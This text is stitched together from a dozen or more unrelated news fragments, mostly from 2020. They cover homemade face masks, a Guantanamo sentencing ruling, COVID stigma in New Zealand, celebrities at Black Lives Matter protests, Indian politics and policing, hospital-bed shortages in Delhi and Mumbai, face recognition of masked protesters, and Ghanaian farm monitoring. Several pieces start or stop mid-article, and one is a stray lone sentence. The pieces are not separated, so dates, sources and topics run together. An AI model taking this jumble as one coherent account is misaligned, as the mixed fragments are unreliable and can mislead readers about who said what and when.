Then with the remaining t-shirt material cut some ear straps using the hem of the shirt.

Attach the straps to the remaining outer tassels and you have yourself a face mask, with no sewing involved, and using an old t-shirt.

A slightly more complicated method has been perfected by researchers from the University of Pittsburgh also managed to design a face mask that could be used if 'commercial masks' are not available during a virus outbreak.

A woman wearing a mask walks past a closed shop window display during the pandemic lockdown in Manchester

They used a regular cotton t-shirt, which was boiled for 10 minutes and then air-dried to sterilise the material, but also to shrink it.

The researchers used a marker and ruler to measure out what they wanted to cut and then formed the mask using an outer layer and then eight inner layers covering the nose and mouth.

The mask does not require any sewing, and instead involves it being tied multiple time around the face.

How to make a face mask from vacuum cleaner bags

By following the simple steps in the graphic, you can create your own face mask from a T-Shirt or vacuum cleaner bag,

Even UK politicians have got in on the act, with Gillian Martin, who is MSP for Aberdeenshire East, describing how she made a face mask from vacuum cleaner bags and elastic.

She told the Daily Record: 'I live in a small village and have been here for over 20 years. I don't want to worry or offend people when I go out.

'I started researching what other countries have been doing and came across a chart with the best materials to use to make a mask out of just about anything.'

'Just below medical material was a hoover bag. I have loads of them lying around and found Hepa-Flow bag that just goes on your Henry hoover'.

The chart the MSP is referring to from a University of Cambridge study which shows the materials that work the best against virus sized particles.

The top three are a surgical mask, vacuum cleaner bag and tea towel.

She added: 'I cut it up the bag and secured it with elastic. I live with my family of three who have all been self-isolating so I made one for each of us'.

Gillian Martin posted about her mask that she made from a vacuum cleaning bag

'I made it because I'm nervous of people coming up to me when I'm out walking the dog. I don't want to have to run away from them.'

Another popular YouTube method shows how to fold up a scarf, using hair ties at either end, to make a simple and easy no-sew mask. The same method can be used with a handkerchief and doesn't involve any sewing.

How to make a face mask from kitchen towel

For this you need two layers of kitchen towel and one of tissue.

You cut it in half, and then use masking tape on each end to ensure the mask is stiff.

Then you punch holes through either end of the mask and thread elastic bands through the holes.

Some Japanese women have even been posting instructions about how to make a face mask from a bra.

The method is simple and involves cutting off one cup with scissors and then sewing the bra straps on, so they can be attached to your face.

Do masks have to be complex to be effective?

The idea that masks do not have to be complex to be effective does have some support from recently published studies.

A University of Oxford study published this week concluded that surgical masks are just as effective at preventing respiratory infections as N95 masks for doctors, nurses and other health care workers.

It's too early for there to be reliable data on how well they prevent infection with COVID-19, but the study found the thinner, cheaper masks do work in flu outbreaks.

Two elderly women wearing protective face masks walk in Westminster on Wednesday

The difference between surgical or face masks and N95 masks lies in the size of particles that can - and more importantly, can't - get though the materials.

N95 respirators are made of thick, tightly woven and molded material that fits tightly over the face and can stop 95 percent of all airborne particles, while surgical masks are thinner, fit more loosely, and more porous.

This makes surgical masks much more comfortable to breathe and work in, but less effective at stopping small particles from entering your mouth and nose.

Droplets of saliva and mucous from coughs and sneezes are very small, and viral particles themselves are particularly tiny - in fact, they're about 20-times smaller than bacteria.

Experts universally agree that there's simply no replacement for thorough, frequent hand-washing for preventing disease transmission.
This article was produced in partnership with the Pulitzer Center on Crisis Reporting.

WASHINGTON  A military judge ruled on Thursday that war court judges have the power to reduce the prison sentence of a Qaeda operative at Guantanamo Bay, Cuba, as a remedy for torture by the C.I.A.

The ruling, in the case of a prisoner who worked as a courier for Al Qaeda, could have implications for other Guantanamo trials, notably the death-penalty case against five men accused of plotting the Sept. 11, 2001, attacks. That trial is scheduled to start next year.

The ruling on Thursday by the judge, Col. Douglas K. Watkins, came in the case of Majid Khan, who pleaded guilty before a military judge in 2012 to delivering $50,000 of Qaeda money that helped finance the 2003 bombing of a Marriott Hotel in Jakarta, Indonesia, that killed 11 people, and plotting other, unrealized terrorist attacks.

His sentencing has been delayed because he agreed to become a government witness in return for a chance at leniency, and because Colonel Watkins was deciding on a request by the defense to offer evidence that Mr. Khan was tortured while being held by the C.I.A. Mr. Khans lawyers say the torture he endured should qualify him for a reduced sentence on the grounds that it was illegal pretrial punishment.
Recovered coronavirus patients have said they are 'treated like lepers' and have even been abused because they caught the virus.

One Auckland father, Geoff Muliaga Brown, recovered from COVID-19 in April - but says nearly two months later people still treat him differently and have even filmed him at a supermarket.

Mr Brown's case is connected to a cluster at the city's Marist College school, which his daughter attends, where 96 confirmed and probable cases were identified - the country's second-largest outbreak.

One Auckland father, Geoff Muliaga Brown, said people have been treating him differently since he recovered from COVID-19 in April

Mr Muliaga - who previously worked in the meda - said people recognised him in the street and his daughter even noticed someone secretly filming him while they were at the supermarket.

'Other times I've been waiting in line, and somebody has asked if anyone has had it, and I say, 'Yes', and everyone just steps away,' he told the NZ Herald.

Mr Muliaga also said he has received lots of calls and messages from other people who have recovered from COVID-19 and are struggling after he spoke up about the issue.

He said he fell severely ill on March 20 after he was an MC at an event for Marist College and was twice turned away when he sought treatment before testing positive to coronavirus.

Another recovered patient, a New Zealand woman who spoke to the publication on condition of anonymity, said she experienced a torrent of online abuse when people found out she had caught the virus.

'You really learned if you had a hard shell or not. I could handle it, but my children, they were treated like lepers,' the woman said.

She also said she still has to explain her situation whenever she goes anywhere because she has to sign-in.

New Zealand has a contact tracing system where people are required to check in and notify venues if they have had coronavirus.

The woman said she would like to see the system altered so people are asked if they have had the virus in the last 14 days.

Medical experts have said there is very little possibility the virus is contagious after two weeks.

Victoria University of Wellington psychologist Dr Dougal Sutherland said people's reactions were likely caused by anxiety.

However, he advised that people should be cautious about acting out of fear and listen to the science, which has generally reached a consensus that people are not contagious once they have recovered.
Protests and uprisings are taking place across the country as a result of George Floyds murder at the hands of the police. Many Hollywood figures are using their voices and platforms to amplify the cause for justice.

Weve put together a collection of several non-white soap stars, including those from Days of our Lives and The Bold and the Beautiful, who have displayed allyship with black people and Black Lives Matter. While not a complete collection, these are just a few examples of how soap stars have used their platform recently.

Chloe Lanier in 2017 | Paul Archuleta/FilmMagic

Days of our Lives

Olivia Rose Keegan, a three-time Daytime Emmy nominee for her role as Claire Brady on Days of our Lives, attended a protest in Hollywood. She wrote, Powerful and peaceful protest in Hollywood, while also putting a link in her bio for more resources.

Former General Hospital star Kelly Thiebaud, who will soon join Days of our Lives, took part in a protest in downtown Los Angeles. She encouraged viewers and fans on social media to attend one as well. Today i stopped watching it on tv and decided to be apart of it. We marched, peacefully, through downtown LA. It was extremely moving to be a presence of support for the black community and to make a stand against racism and police brutality. I encourage you to do the same, she wrote.

General Hospital

Eden McCoy, who portrays Josslyn Jacks, went to a protest in Downtown Los Angeles. She wrote on Twitter, i went to the hall of justice downtown LA for a beautiful, peaceful & organized protest. i LISTENED to powerful, sad, but determined voices. it was inspiring & unifying. there is hope here. i saw it for myself.

i went to the hall of justice downtown LA for a beautiful, peaceful & organized protest. i LISTENED to powerful, sad, but determined voices. it was inspiring & unifying. there is hope here. i saw it for myself. pic.twitter.com/0JEPpBUu3y  Eden McCoy (@RealEdenMccoy) June 4, 2020

RELATED: Love & Hip Hop: Shekinah Jo Anderson Gets Dragged for Crying About Lenox Mall During Protest

Meanwhile, William Lipton, who plays Cameron Webber, attended a protest in San Mateo, California. He posted a series of photos, including one in which he was holding up a sign.

Cynthia Watros, who plays Nina Reeves, went to a protest with her daughter. She wrote on Instagram, Went to a peaceful protest with my daughterno looting..very peaceful..someone tried to drive through the crowdminor injuries. It still didnt stop our voices. This probably wont be popular but need to tell the truth about this protest..the police left us alone and even protected us from the oncoming traffic.

Hayley Erin, who played Kiki Jerome on the soap before the character was written off, also attended a protest.

Chloe Lanier, a Daytime Emmy winner for her role as Nelle Benson, posted several snapshots of protests that she attended. For one of the protests, she wrote in the caption, These videos are from the peaceful protest at Pan Pacific Park yesterday. This is what you wont see on the news. We witnessed groups handing out water bottles, people with first aid kits ready to help their fellow man. This is an outcry for change.

The Bold and the Beautiful

Former star Pierson Fode posted a video after he attended protests. Some of the footage is graphic, but he further explained things in a later post. He wrote, I stand with you #blackoutday2020 #georgefloyd #ahmaudarbery and countless more #theshowmustbepaused (to my friends and fans keep the BLM and black lives matter hashtag open for relevant and pertinent information to support the movement).
Sugata Srinivasaraju By

In the last week, Covid-19 has al-lowed a few other headlines to co-exist. Even as race riots in the US dominate the non-pandemicheadlines, India has quietly ush-ered in its new election season along with the monsoon. Polls for 18 Rajya Sabha seats from seven states, which were postponed in March, now have a new time-ta-ble. A new notification has been issued for six more seats from three states, and all the 24 seats will be decided on June 19. In Maharashtra, seven were elected un-opposed before the lockdown. They will be formalised.

As we get past these elections and the new members settle down, we will be at the threshold of the Bihar Assembly polls. Be-fore that there will be bypolls to 24 Assembly seats in Madhya Pradesh, which will decide the fate of the Shivraj Singh Chou-han government. Then of course there are Council elections sched-uled in a few bicameral state leg-islatures. The return of elections may, deviously, connote the re-turn of normalcy.

Any election season in India is a season of somersaults, when we see politicians swinging across the ideological trapeze. Each sea-son offers its own discourse on political fidelity. In fact, the Mad-hya Pradesh bypolls are the result of such a glide and switch. Jyoti-raditya Scindia had retraced his steps to join his familys default of Jan Sangh and BJP politics.

In Maharashtra, Priyanka Chaturvedi, who has won the RS seat unopposed, suddenly moved out of the Congress to land on the tigers back. Also, the entire Ma-harashtra government was placed on a swing due to Ajit Pa-wars circus at dawn. The precur-sor to all this was the BJP govern-ment in Karnataka last July, when 17 MLAs from secular par-ties waded murky waters to em-brace the lotus.

The larger question here is not the nature of power politics. There is always a predictable dis-section of it that takes place. But what would be interesting to com-prehend is the psychology of the individual trapeze artist. What happens in his mind when he shifts from one party to another? One political ideology to another? How does he construct an expla-nation for himself, and to the out-side world? How does he unbe-lieve what he has so passionately believed for years, and in some cases decades? When did he real-ise that the direction in which he swam so far will reach him only to ragged shores? How does he summon the courage to embar-rass and contradict himself in public? What is the nature of his risk? What mutation does his self-esteem undergo? We need more political psychologists than prac-titioners of psephology to com-prehend this. Just imagine a Nit-ish Kumar, who has earned the nickname ofpaltu chacha in Bi-har. What if he switches again in the run-up to the Assembly polls, or immediately after that? What greater good will he summon this time? What will pass in Scindias mind when he sees Rahul Gandhi the next time in the Central Hall of Parliament?

Before Modi, in the coalition era, we saw a set of parties first join Deve Gowdas United Front government to fight communal forces. Then, the same parties joined the Vajpayee-led NDA to keep a check on communal forc-es. Later, they joined Singh-So-nias UPA government to defend secularism. Some may plainly argue that this is the dynamics of politics, but more than the actual switch or glide, what offers learn-ing here is the inching towards that act, the slow crawl to conver-sion. That is when logic or soph-istry stitch by stitch begins to dress it all up as a principled posi-tion. When Indira Gandhi sought a revival from Chikmagalur in the charged post-Emergency years, Veerendra Patil was put up against her as a Janata Party can-didate. He had been chief minis-ter earlier. He had the nations at-tention on him. But after Patil lost the polls, he promptly joined the lady. This is now an insignificant detail in history, but one wonders how he reasoned his shift in the isolation of his mind. Opportun-ism is too easy a label. There is more to the mind that conjures up the switch and proselytises. Reli-gion may offer some depth into this inquiry.

The ideological convert is a great wonderment. A few weeks ago, an eminent historian shared an article from the January 1987 issue of the Freedom First quar-terly magazine. It was about Phil-ip Spratt, a Britisher, who had helped build the Communist movement in British India in the 1920s and 1930s. He had built the Peasants and Workers Party and was prosecuted for sedition in 1927. But he had become a rabid anti-communist in the 50s. In the 60s, he was accommodated by Ra-jagopalachari in the Swarajyamagazine. This is a far more com-plex case. Here again the question is, how do they reconfigure them-selves and their arguments?

In mid-April, a once-upon-a-timeVajpayee aide and Advani acolyte on the Ayodhya rath yatra, Sud-heendra Kulkarni, wrote a paean-tweet for Rahul Gandhi: Change is coming. Honesty is its face. Compassion is its heart. Inclusive-ness is its soul... it is nourished by the pure, ancient and unfailing waters of Indias striving for self-renewal. Its name is #RahulGan-dhi. Before joining the Right, Kulkarni was on the Left, speak-ing the language of trade unions, and was getting himself photo-graphed in Leningrad. How does one make sense of his glide and switch? This is neither simple op-portunism nor sycophancy. So is the case of Trotskyite proselytes in the BJP from the Oxbridge tra-dition. The new political season promises to offer more illustra-tions from across party lines.

(Email:sugataraju@gmail.com)

SUGATA SRINIVASARAJU

Senior journalist and author (Email: sugataraju@gmail.com)
Rajesh Asnani By

Express News Service

JAIPUR: In an incident reminiscent of the George Floyd murder case that has ignited huge 'Black Lives Matter' protests across the US, the police in Rajasthans Jodhpur was seen pinning down a man, with one of the cops kneeling on the mans neck  exactly the way Floyd was killed.

The incident took place on Thursday when the man, identified as Mukesh Kumar Prajapat had stepped out without a mask and was caught by two police constables. This led to an argument between the two sides, which soon turned physical. Police officials say that Prajapat attacked the cops first who acted in self-defence.

Several videos of the incident have gone viral on social media where a cop can be seen kneeling on the man's neck.

However, police officials claim the man had not only turned abusive and attacked the cops but had even snatched the mobile of one of the constables. Jodhpur police authorities insist that the constable had acted purely in self-defence to prevent the man from attacking him.

After Unlock Phase 1 began from Monday, the police have been trying to enforce social distancing and wearing of masks in different areas of Jodhpur. This fracas happened in Chaupasani Housing Board locality when the police were asking people to wear masks before stepping out as has been made mandatory by the government due to the coronavirus pandemic.

Recalling the incident, Jodhpur Police Commissioner, Prafulla Kumar says, ''When Mukesh Prajapat was caught by the constables for not wearing a mask, he began slapping and hitting the policemen who had stopped him for violation of norms. Then the aggressive culprit even threatened to gouge the eyes of our cops and said he would kill them".

But Jodhpur Police Commissioner, Prafulla Kumar, says the comparison with the George Floyd case is unfair and far-fetched as the neck of the Jodhpur culprit was never pressed by the cops. "What is being shown as similar to the US case is actually the constable trying to retrieve his mobile from the culprit. There are several videos which show how Prajapat had hit our policemen but not even one where our constable is pressing his neck with his knee. If you see the entire video, it will be quite clear how the man had misbehaved and even beat our constables".

Police officials also point out that Prajapat is a habitual offender who had even attacked his own father last year and ruined his eyes. On the report of the cops from Pratap Nagar Thana an FIR has been registered and the man has been arrested and sent to judicial custody.

Senior officials also say that if a policeman is thrashed while in uniform, then it is embarrassing for the entire society and there is a danger for police morale going down if 'culprits' are allowed to go scot-free through false outrage.
But with a confrontational and sometimes messy gale of protests appearing to gain broad support, there is evidence to suggest that the calculus is not always so straightforward. There were scattered incidents of looting and arson during the peak of the Black Lives Matter movement, most notably in Ferguson, Mo., where Michael Brown was killed, and Baltimore, where Freddie Gray died, yet sentiment swung heavily in favor of the movement.

And a separate study, from a three-person team of political and social scientists, found that the Rodney King riots of 1992 helped to mobilize liberal white voters and African-Americans in Los Angeles, leading to a leftward shift in some city policies.

Douglas McLeod, a journalism professor at the University of Wisconsin who studies the impact of news coverage on social movements, said people consumed a wider variety of information today, pointing in particular to social media. This can help to circumvent what he called several conventions in media coverage of social protest that work against the protesters  including a tendency to focus on instances of protester violence, even when theyre relatively rare, and to privilege the accounts of those in uniform.

Dr. McLeod said that as videos showing police brutality against black people have appeared relentlessly on social media, they have helped persuade skeptical Americans that an endemic problem exists. When these things accumulate over time, and we start to see more and more of these images, the evidence starts to become more incontrovertible, he said.

A youth movement  with broad appeal

The current round of protests is youth-led, and so too, to some degree, is the shift in nationwide sentiment. Millennials and members of Generation Z are far more likely to say they believe the police are prone to racist behavior. And according to a PBS/NPR/Marist College poll last year, members of those generations were more than twice as likely to support reparations for slavery, compared with baby boomers and others in older generations.

A Pew survey in 2018 also found a stark generational divide over whether N.F.L. players were right to kneel in protest of racial inequality. Among millennials and teenagers in Generation Z, more than three in five expressed approval of the protests; among baby boomers and other older Americans, an equally large share said they disapproved.

Similar trends play out specifically among young black people and other people of color, who express a greater desire for sweeping change, and a more unanimous suspicion of the police. In a recent Washington Post/Ipsos poll of African-Americans, among respondents 35 and under, nine out of 10 said they did not trust the police to treat people of all races equally  higher than in any other age group.
J&K: Police release photographs of three wanted militants 21 Jan 2022 | 7:13 PM Srinagar, Jan 21(UNI) J&K Police on Friday released pictures of three wanted local militants who are believed to be operating in Srinagar and its outskirts. see more..

No iota of doubt about BJP not assuming power in UP :Yogi 21 Jan 2022 | 7:06 PM Yogi Adityanath, while counting the work of the government expressed confidence of forming the BJP government once again in UP.



He said ,"our government has done what it said. The BJP government did not appease anyone and our priority was that there should be rule of law in the state. No history sheeter should run a police station and bulldozers continue to run on the properties of the mafia."



CM made these comments while launching the new slogan and song of BJP at the state BJP headquarters and also inaugurated the new media center of the BJP here. see more..

Mission Green: Shrine Board to conserve environment, ecology of Trikuta Hills 21 Jan 2022 | 6:58 PM Jammu, Jan 21 (UNI)Chief Executive Officer, Shri Mata Vaishno Devi Shrine Board, Ramesh Kumar on Friday reviewed plantation activities and various fruit plants of seedling origin supplied by the Horticulture Department of J&K to Shrine Board with the aim to explore the possibilities for planting more such plants in the vicinity of Shrine Forest area in the coming years. see more..

We constructed houses for poor: Yogi 21 Jan 2022 | 6:57 PM Lucknow, Jan 21 (UNI) Referring to the development and public welfare works done in the last five years in the state, Uttar Pradesh Chief Minister Yogi Adityanath said during previous governments the CMs constructed their own houses, but in the Bharatiya Janata Party regime houses were constructed for the poor. see more..
Are Delhi and Mumbai running out of hospital beds for Covid-19 patients? The data shows they are not: Delhi has 4,606 beds available for Covid patients according to the Delhi government, and Mumbai, 3,289, according to the Brihanmumbai Municipal Corporation. And health care policy makers and administrators insist there is no lack of beds, or ICU bed/beds with ventilators (184 in Delhi and 64 in Mumbai).

Yet, over the past few days, several people who have been unable to find beds or get treated in Delhi and Mumbai have taken to social media to express their frustration -- this, when government data shows there is no shortage.

According to Delhi health minister Satyendra Jain, there is no shortage: The truth is that there is absolutely no shortage of beds in Delhi at the moment. In the last three days, more than 1000 patients have been admitted to various hospitals in Delhi. If beds were not available, this would have not been possible. Even now we have close to 5000 vacant beds.

Jain added that the issue lies with the hospitals not updating data on the Delhi Corona mobile application, where the official figures are made available. So clearly the issue is that some hospitals are not updating the data on Delhi Corona app on time or misrepresenting actual data when patients call. Patients were not getting data on hospitals before, which the Delhi corona app is trying to fix. We are making hospital bed data live and real time soon.

Still, on May 26, 47-year-old Jagdish Ujjainwala who was admitted to the hospital on May 21, died of the coronavirus disease (Covid-19) because his family was told that there was no free ICU bed available to treat his fast-worsening condition. And on May 27, the government-run Lok Nayak Hospital, one of the Covid-19 designated hospitals in Delhi had 1386 vacant isolation beds and 64 vacant ventilator supported beds, according to the data made available by the state government in its mobile application, Delhi Corona.

When asked about the number of available beds, the hospitals acting medical director Dr PN Pandey said: We have adequate ICU, ventilator, oxygen-supported beds available in the hospital. And, we do not refuse treatment to any patient in need of hospital care. He added that he did not wish to comment on any particular persons case.

Ujjainwalas case is not an exception. In Delhi and Mumbai, the incidence of people being turned away from hospitals or kept waiting for hours on end, on account of non-availability of beds, is on the rise.

In Mumbai, the vacancies in the citys 125 designated Covid-19 health centres and hospitals are even fewer. Of the total 1,097 ICU beds, 98% are occupied, according to data released by the municipal body on June 3; of the 442 ventilators, 85.5% are currently being used by the critically ill.

On May 26, a 51-year-old physician from Cheetah Camp in Trombay, Mumbai, died of Covid-19 related complications after being taken to two hospitals, and finally admitted in a third, where he was forced to share a bed with another suspected Covid-19 patient for two days due to non-availability of beds. His teenage son, who accompanied him, said that patients were lying on the floor between beds in the casualty ward of the government-run Lokmanya Tilak Municipal General Hospital. He died within a day of being shifted into the Covid ward.

In theory, everything is fine in Mumbai too.

If anyone calls at the helpline number 1916, it gets connected with a doctor who asked for symptoms of the suspected patient. Depending on the condition of the person, they will be allotted with centres or hospitals for treatment, said Suresh Kakani, additional municipal commissioner.

Delhi has reported 1278 cases every day at an average in the last seven days; in the seven days before that the city reported 723 new cases at an average; Mumbai, meanwhile, has been consistently averaging over 1300 new cases a day in the past two weeks. This indicates that the strain on resources will certainly not abate in the coming weeks. On Friday night, Mumbai had 25768 active cases (46080 total cases) and Delhi 15,311 active cases (26,334 total cases).

It is in this scenario that the Delhi government has tried to make resources available for those who are in actual need of them: on Friday, it directed five Covid-dedicated government hospitals to increase their bed capacity by 13,670, including 750 ventilators, in three weekly phases to be completed by June 25; earlier this week, deputy chief minister Manish Sisodia announced that three more private hospitals would be converted into Covid-19 treatment facilities, and warned that hospitals with mixed use beds (20% reserved for Covid-19 positive patients) will be converted into dedicated facilities if they are found to be non-compliant. It also issued fresh orders to hospitals on Thursday to discharge mild or asymptomatic Covid-19 patients and said that designated facilities should turn away such patients.

In case the hospital refuses a bed to any patient in spite of beds being shown available, the government can and will take action. Some hospitals are refusing to take patients and the government will take strict action against them soon, a media advisor to chief minister Arvind Kejriwal said.

Hospitalisation isnt the only thing people are complaining about. There would appear to be a similar problem with testing.

On Wednesday, the Delhi government modified the national testing guideline set by the Indian Council of Medical Research, to rule out testing of asymptomatic direct contacts positive cases, including close family members, unless they were above 60 years, or had conditions such as diabetes, heart or kidney disease. The following day it banned eight labs from carrying out tests on individual samples and pulled them up for not following protocol, and  according to the state health minister  for taking too long to report the results.

Some labs were giving reports very late. If someone has taken a test for the coronavirus, the reports should be ready in 24 hours. At times, some have not given results for 5-6 days. This leads to a delay in hospitalisation because the special corona facilities say they will accept only patients who have a positive test. Other hospitals refuse to admit unless someone is confirmed to be corona-free, Jain told reporters on Thursday.

However, experts said that by revoking permissions from these testing labs  another, Dr Lals Path Lab has been disallowed since a month  the testing capacity has come down by at least 8,000 tests a day. Thus as cases rise, this clampdown will result in people getting wait-listed for testing, delay results, and cause a great deal of trouble to those who need hospital admission for life-saving procedures, as no hospital admits a patient without a Covid-19 test.

Kailash Chandra, a 43-year-old administrative worker in a private hospital, has been unable to get tested . He has had high fever for the past three days, along with a dry cough, body ache and chills and he fears they could well be symptoms of Covid-19, as he works in a hospital that treats Covid-19 patients.

My hospital has been barred from testing and I have been really struggling to look for a laboratory that can do the testing. Many of the labs said they are not doing the tests currently. Even though my doctor has put me on medicines to ease symptoms but I can feel my condition getting worse. I used to feel relieved thinking I worked for a hospital and could get tested without much effort, but here I am struggling to get the test done like many others, he said. Several government helpline users lamented that calling on the number never led to a satisfactory resolution either.

Experts said that a distinction needs to be made between those who test positive and those who wish to be admitted. Both the United States and the United Kingdom ask patients with mild symptoms to stay home, and only seek hospital admission if their conditions worsen, and the Delhi government too is hoping that residents here will exhibit similar restraint.

In Thursdays press conference, Jain said asymptomatic patients with no or very mild symptoms such as slight fever and mild cough can be treated and recover in home quarantine. Patients with moderate (respiratory rate of more than 15 per minute and oxygen level below 94%) and severe symptoms (respiratory rate of more than 30 per minute and oxygen level below 90%) require hospitalisation, he added.

Instead of limiting tests, we should widen testing to diagnose the asymptomatic and mild cases, so they can be self-isolate and not spread the disease to others. People will die of other diseases because of delayed testing. Limiting testing also leads to epidemics remaining undetected. If people are not tested, they may die of Covid-19 and well never know. This is how pandemics begin, said Dr Jacob John, former virology head, Christian Medical College, Vellore.

At this stage, we need more people coming forward to get tested and unless you make the process easily accessible, they will stay away from testing. Testing should be made walk-in, you shouldnt need a doctors prescription or symptoms for testing at a private lab at this stage of transmission, added Dr Lalit Kant, former head of epidemiology, Indian Council of Medical Research.

These eight labs were found to not be following the protocol prescribed by the ICMR. Therefore, action was initiated. As a temporary measure, these labs have been asked not to pick up individual samples. However, samples sent by various hospitals and other agencies will continue being processed in these labs. Every minute counts which is why Delhi government cannot compromise on any discrepancy which would consequently distort the facts in the daily health bulletin, the Delhi CMs media advisor said.

In Mumbai too, the situation is not much better for persons seeking a test. The city, which has a testing capacity of 7,000 a day, tests only 4,000 samples daily. Further, a significant portion of Mumbaikars have been left out of the testing net; until June 3, only 1.7% of the citys population has been tested. The state follows the ICMR guidelines of testing: symptomatic patients with international travel history; frontline medical or support staff are allowed immediate tests; asymptomatic but high-risk contacts of infected patients can be tested only after five days of getting exposed, among others. However, these in itself, arent enough categories. Mumbais Sir JJ Hospital lab has an installed capacity of 2,000 tests per day, but it only tests half of that.
But sounds from outside the vigil could not overtake those that came from within, as religious leaders used biblical allegories common to many faiths to accentuate their points and referenced more than once the peach skin of many of the people in the community where the vigil took place.
Jammu:

Asserting that Balochistan is a very important security concern for India, Union Minister Jitendra Singh today said Pakistan should put an end to operational atrocities unleashed by Islamabad in the region.

Balochistan is a very important security concern for India, Singh told reporters here.

Singh was replying to a question about Indias reaction to the atrocities and operational terror by Pakistan on the people of Balochistan.

You cannot allow your neighbourhood to be on fire because sooner or later it is going to impact you, you cannot build a heaven inside and leave a hell outside, the minister said.

Singh said that it is example of a boundary wall with another house and the other house being constantly in trouble and sooner or later you run a risk of being impacted by it.

He asked Pakistan to put an end to operational atrocities and bring peace in the region. The minister further said Therefore, it is also part of our responsibility to safeguard the security concerns of India.

We have to ensure that Balochistan, as a situation, is peaceful, is normal and there is an end to operational atrocities unleashed by Islamabad, Singh said.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
Arsonists, looters and rioters who think they evaded U.S. law enforcement this past week because they wore face masks might be in for a surprise.

Not long after the Centers for Disease Control and Prevention recommended wearing cloth face coverings to slow the spread of COVID-19, a company introduced face recognition technology designed to identify people who are wearing masks, be it to ward off coronavirus or conceal their identities while committing crimes.

Brendan Klare, co-founder and CEO of Rank One Computing in Denver, said his companys new technology can be deployed with our law enforcement partners that include 25 agencies in the United States.

Brendan Klare, co-founder and CEO of Rank One Computing.

What we have released in direct response to COVID is what we call periocular recognition algorithm, Klare told USA TODAY. Its very similar to a face recognition algorithm. Its just the eyes and eyebrows only. So obviously it works with masks.

Well, not so obviously.

A Florida sheriff well known for his use of face recognition technology expressed doubts about the claims.

A U.S. government study of the new technology has been delayed.

And in the wake of a white police officer killing George Floyd on May 25 in Minneapolis, the discussion about law enforcement's use of face recognition technology has been renewed.

Nobody has answered the question of how they can assure that this technology doesnt contribute to existing police abuses, said Neema Guliani, senior legislative counsel for the American Civil Liberties Union (ACLU). Until you answer that question, I think the notion that this is technology that can be used by law enforcement is pretty concerning.

Protesters lament violence: Peaceful protesters lament violence at George Floyd demonstrations, but understand the rage behind it

Should we ban face recognition?: Should we ban facial recognition? From companies to cities, debate over privacy rages on

Lots of questions are being asked

Which U.S. law enforcement agencies have used face recognition technology during the George Floyd protests and accompanying unrest?

Story continues

I would say most of the major cities are likely using technology for investigative purposes, said Shaun Moore, CEO of TrueFace.ai, which provides facial recognition technology.

The Minneapolis Police Department, under siege by arsonists and protesters the day after Floyd's death, does not use face recognition technology, said John Elder, director of public relations for the police department.

Demonstrators run during protests in Minneapolis on Saturday, May 30, 2020.

We do not possess any of that technology, Elder told USA TODAY on Tuesday via email.

All 50 states have access to the face recognition technology and many states are implementing it, said Benji Hutchinson, vice president of federal business for NEC Corporation of America. Hutchinson said NEC, based in Japan, and the two other leading biometrics technology companies collectively have contracts with each of the states.

A protester smashes a window at the CNN center Friday May 29, 2020 in Atlanta. They carried signs and chanted their messages of outrage over the death of George Floyd in Minneapolis.

Law enforcement agencies also can access the face recognition system operated by the FBI or subscribe to services offered by numerous vendors, said Sheriff Bob Gualtieri of Pinellas County in Florida.

Gualtieri, a leading proponent of the face recognition technology in the law enforcement community, said its impossible to say how many law enforcement agencies are using the technology. But he said he thinks the number is very few, in part, because of associated costs.

Sheriff and chairperson, Bob Gualtieri, of Pinellas County, Fla., speaks during a state commission meeting as they investigate the Marjory Stoneman Douglas High School massacre and how Broward school district and others access threats on Tuesday, July 10, 2018, in Sunrise, Fla.

Why is the ACLU so concerned about this, and whats the argument in favor of law enforcement using the technology?

Think about the reality of what that means for people attending protests,'' said Guliani of the ACLU. That means that they have to fear that they will be identified by law enforcement in situations where weve already seen police violence targeted at peaceful protesters.

It means that they have to worry about being identified by law enforcement when many people rightfully have extreme distrust about how that will affect their lives and whether that will lead to further abuse.

Hutchinson, the NEC executive who has been working in the industry for 15 years, said privacy concerns are legitimate.

Surveillance is the hot button topic with live video cameras and streaming algorithms that are detecting and matching faces in real time, he said. And that use is not widely deployed, if at all, in the United States. And thats important to know.

Whats with the Big Brother talk?

There are no federal laws or regulations governing law enforcements use of face recognition technology, and that seems to have fueled speculation about how the face recognition technology system works.

They think theres cameras on every corner and its all connected and theres a giant computer and thats just not the case, Hutchinson said.

Or as Klare of Rank One Computing said of the conjecture he hears, "Like, you walk by a camera and law enforcement comes and nabs you like a robot. That is not how its done.

So how is it done?

A lot of times the best images we get are residences or businesses that have camera systems and somebodys committed a crime and they provide with you a video system, said Gualtieri, the sheriff from Pinellas County in Florida. Then will put those into facial recognition and see if you get a match.

The evidence is not admissible in a court of law but it can help identify people as part of an investigation, Gualtieri said.

But privacy concerns persist due to the likes of Clearview AI, a company that has touted its facial recognition software and a database of three billion images scraped from the internet. In January, the New York Times reported that Clearview claimed more than 600 law enforcement agencies had begun using the company's services in the past year.

Law enforcement agencies are expected to be limited to searching government photos such as driver's licenses photos and mugshots of convicted criminals as opposed to photos posted on Facebook, Twitter and Instagram and other social media sites from which Clearview says it collects photos.

Last month, the ACLU sued Clearview AI and said the lawsuit was designed to bring an end to the companys unlawful, privacy-destroying surveillance activities.''

In a news release, the ACLU added, "Clearview claims that, through this enormous database, it can instantaneously identify the subject of a photograph with unprecedented accuracy, enabling covert and remote surveillance of Americans on a massive scale.''

Are criminals going to get away with crimes, in part, because the face masks theyre wearing will thwart face recognition software?

Among the top authorities is Anil Jain, a professor at Michigan State and well respected in the field of face recognition technology.

It all depends on what portion of the face is being covered, he said. Sometimes it might have a shadow appear on your eyes. Eyes are very important. Eyes are the most important views in face recognition. In fact, even from a social perspective, reading a persons eyes, its same thing for algorithm.

So using eyes alone, you can do 75% of the job. Provided the person is not wearing sunglasses or anything.

But criminals have been wearing masks long before the coronavirus crisis hit, and Gualtieri said he knows what to do when face recognition technology isn't effective for catching criminals.

"You just got to go back to the old-school way, he said

This article originally appeared on USA TODAY: Coronavirus masks: Are they better at protests or identity protection?
The Atiwa East District Planning Coordinating Unit under the leadership of Mr. Simon Asare, the District Coordinating Director embarked on a project monitoring exercise.

The team visited Planting for Exports and Rural Development (PERD) and Planting for Food and Jobs (PFJ) beneficiary farms at Frimponso, Awosoase, and Vanderpouy located at the Atiwa East District in the Eastern region of Ghana.

In 2019, the district nursed 20,000 palm seeds under the PERD program and over 400 farmers benefited from this program within the district. The team inspected some farms to assess how farmers were maintaining the palm seedlings they were given. They were impressed with the progress of the palm plantation.

